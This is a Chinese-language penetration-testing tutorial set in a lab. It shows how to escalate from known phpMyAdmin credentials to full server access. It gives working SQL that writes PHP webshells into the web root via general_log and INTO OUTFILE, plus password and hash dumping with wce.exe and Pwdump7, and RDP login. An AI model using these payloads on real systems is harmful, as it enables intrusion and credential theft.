下面由phpmyadmin教程欄目給大家介紹關(guān)于phpMyadmin提權(quán)那些事,希望對(duì)需要的朋友有所幫助!
引言:在滲透測(cè)試過(guò)程中獲知到phpMyadmin的賬號(hào)密碼,如何進(jìn)行提權(quán)呢?往下看,我今天和你說(shuō)說(shuō)phpMyadmin提權(quán)那些事。
0×00 定義
phpMyAdmin 是一個(gè)以PHP為基礎(chǔ),以Web-Base方式架構(gòu)在網(wǎng)站主機(jī)上的MySQL的數(shù)據(jù)庫(kù)管理工具,讓管理者可用Web接口管理MySQL數(shù)據(jù)庫(kù)。
0×01 環(huán)境準(zhǔn)備
目標(biāo): Windows Server 2003 Enterprise x64 Edition 192.168.17.137攻擊機(jī): window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4
0×02 開(kāi)始滲透
我們經(jīng)過(guò)弱口令,爆破,目錄泄露等途徑已經(jīng)獲知PhpMyadmin的賬號(hào)密碼是root root。接下來(lái)我們就通過(guò)phpMyadmin來(lái)提權(quán),盡可能貼近真實(shí),多講思路。
a 收集有用信息
如上圖所示,我們可以獲取到以下有用信息。
- 1.操作系統(tǒng)是windows server 2003 x86
- 2.服務(wù)器是Apache 2.4.32
- 3.網(wǎng)站默認(rèn)路徑是 E:phpStudyPHPTutorialWWW
- 4.PHP版本是 5.45
- 5.mysql版本是 5.5.53
b 檢測(cè)插入條件
在上面我們已經(jīng)獲知了網(wǎng)站默認(rèn)的路徑是E:phpstudyPHPTutorialWWW,這個(gè)時(shí)候我們肯定想插入一句話后門(mén)文件或者是導(dǎo)出shell。那如果我們需要使用以上兩種思路中的一種必須滿足一個(gè)前提條件“secure_file_priv”對(duì)應(yīng)的值不能為空且必須為默認(rèn)網(wǎng)站的路徑,所以我們必須提前檢測(cè)一下“secure_file_priv”的值。
phpMyadmin執(zhí)行以下命令:
SHOW VARIABLES LIKE “secure_file_priv”;
結(jié)果如圖所示:
從上圖得知值為空,如果我們這時(shí)導(dǎo)入一句話,肯定會(huì)失敗的,不信啊,那我們?cè)囋嚒?/p>
報(bào)錯(cuò)The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,這是因?yàn)閙ysql對(duì)通過(guò)文件導(dǎo)入導(dǎo)出作了限制,默認(rèn)不允許。默認(rèn)value值為null,則為禁止,如果有文件夾目錄,則只允許改目錄下文件(測(cè)試子目錄也不行)。我們思考一下看看能否設(shè)置其的路徑為我們的默認(rèn)網(wǎng)站路徑,這樣我們就可以導(dǎo)入一句話后門(mén)了。那我們?cè)囋嚢伞?/p>
從圖得知這個(gè)變量是一個(gè)只讀變量無(wú)法動(dòng)態(tài)更改,那應(yīng)該是只能從配置文件中更改了。到這里發(fā)現(xiàn)陷入了一個(gè)胡同,那常規(guī)方式不行,我們可以去使用一些騷思路,利用log日志文件插入一句話。
c 轉(zhuǎn)換思路
我們首先需要檢測(cè)的是MySQL全局變量(general_log、general_log file)的值。
- general log 指的是日志保存狀態(tài),一共有兩個(gè)值(ON/OFF)ON代表開(kāi)啟 OFF代表關(guān)閉。
- general log file 指的是日志的保存路徑。
從圖得知general_log默認(rèn)是關(guān)閉的,log日志存放的位置是E:phpStudyPHPTutorialMySQLdata。
首先我們來(lái)理解一下開(kāi)啟general_log 的作用,開(kāi)啟它可以記錄用戶輸入的每條命令,會(huì)把其保存在E:phpstudyPHPTutorialMySQLdata下的一個(gè)log文件中,其實(shí)就是我們常說(shuō)的日志文件。好,我們的利用的思路是開(kāi)啟general_log之后把general_log_file的值修改為我們網(wǎng)站默認(rèn)路徑下一個(gè)自定義的php文件中,然后我們通過(guò)log日志進(jìn)行寫(xiě)入一句話后門(mén)到上面去,然后再進(jìn)一步利用。
具體命令是:
set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';
緊接著我們可以看到在網(wǎng)站根路徑下找到我們生成的偽日記文件infos.php。
然后我們就得插入我們的一句話后門(mén)了。
select ‘<?php eval($_POST[yumu]);?>’;
我們可以嘗試使用菜刀連接,成功連接。
d 獲取管理員密碼
0×00 直接獲取明文
我們上傳wce.exe獲取明文密碼。運(yùn)氣賊好,直接獲取到明文(11位字母和數(shù)字混合的密碼)。如果不能直接獲取明文那就得走第二條獲取hash值然后解密了。
0×01 獲取hash值
上傳Pwdump7.exe獲取hash值保存到password.txt文件中。獲取hash值可以選擇在線http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出來(lái)就用Ophcrack導(dǎo)入彩虹表跑吧。
e 查看3389是否開(kāi)啟
直接在菜刀終端輸入“netstat -an | find “3389″ 或者“netstat -an ”。
發(fā)現(xiàn)3389沒(méi)開(kāi),但是3390就開(kāi)了,我們嘗試連接一下。
f 登陸服務(wù)器
運(yùn)行mstsc開(kāi)啟遠(yuǎn)程桌面。
輸入上面獲取到的賬號(hào)和密碼,成功登陸。
最后肯定是要清楚痕跡的,但我這里就不寫(xiě)了,寫(xiě)的內(nèi)容也是賊多了
0×03 擴(kuò)展
上面演示了secure_file_priv值為空的情況,那么如果secure_file_priv不為空那我們?cè)撛趺崔k?
a 配置my.ini文件(不對(duì)應(yīng)網(wǎng)站根路徑)
打開(kāi)mysq的配置文件my.ini,對(duì)secure_file_priv的值進(jìn)行設(shè)置,然后重啟mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/MYSQL/”
嘗試改變值,發(fā)現(xiàn)只是可讀,不能寫(xiě),那種情況無(wú)法寫(xiě)入我們的一句話,因?yàn)槠湎拗屏藢?dǎo)出路徑,無(wú)法把一句話寫(xiě)入之后導(dǎo)出到我們的網(wǎng)站根目錄。
b 配置my.ini文件(對(duì)應(yīng)網(wǎng)站根路徑)
打開(kāi)mysq的配置文件my.ini,對(duì)secure_file_priv的值進(jìn)行設(shè)置,然后重啟mysql。
secure_file_priv = ”E:/phpStudy/PHPTutorial/WWW/”
然后我們嘗試插入一句話后門(mén),成功插入。
二話不說(shuō)菜刀連接。
當(dāng)然一句話還可以這樣插入。
CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/為網(wǎng)站的絕對(duì)路徑)
c 導(dǎo)出具有命令權(quán)限的Shell的php文件
select ‘<?php echo ’<pre>’;system($_POST['yumu']);echo ’</pre>’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;
0×04 總結(jié)
本文中的環(huán)境是除了沒(méi)上waf其他都是盡可能地貼近真實(shí)環(huán)境,模擬真實(shí)的環(huán)境給大家去分析和講解思路,希望大家有所收獲。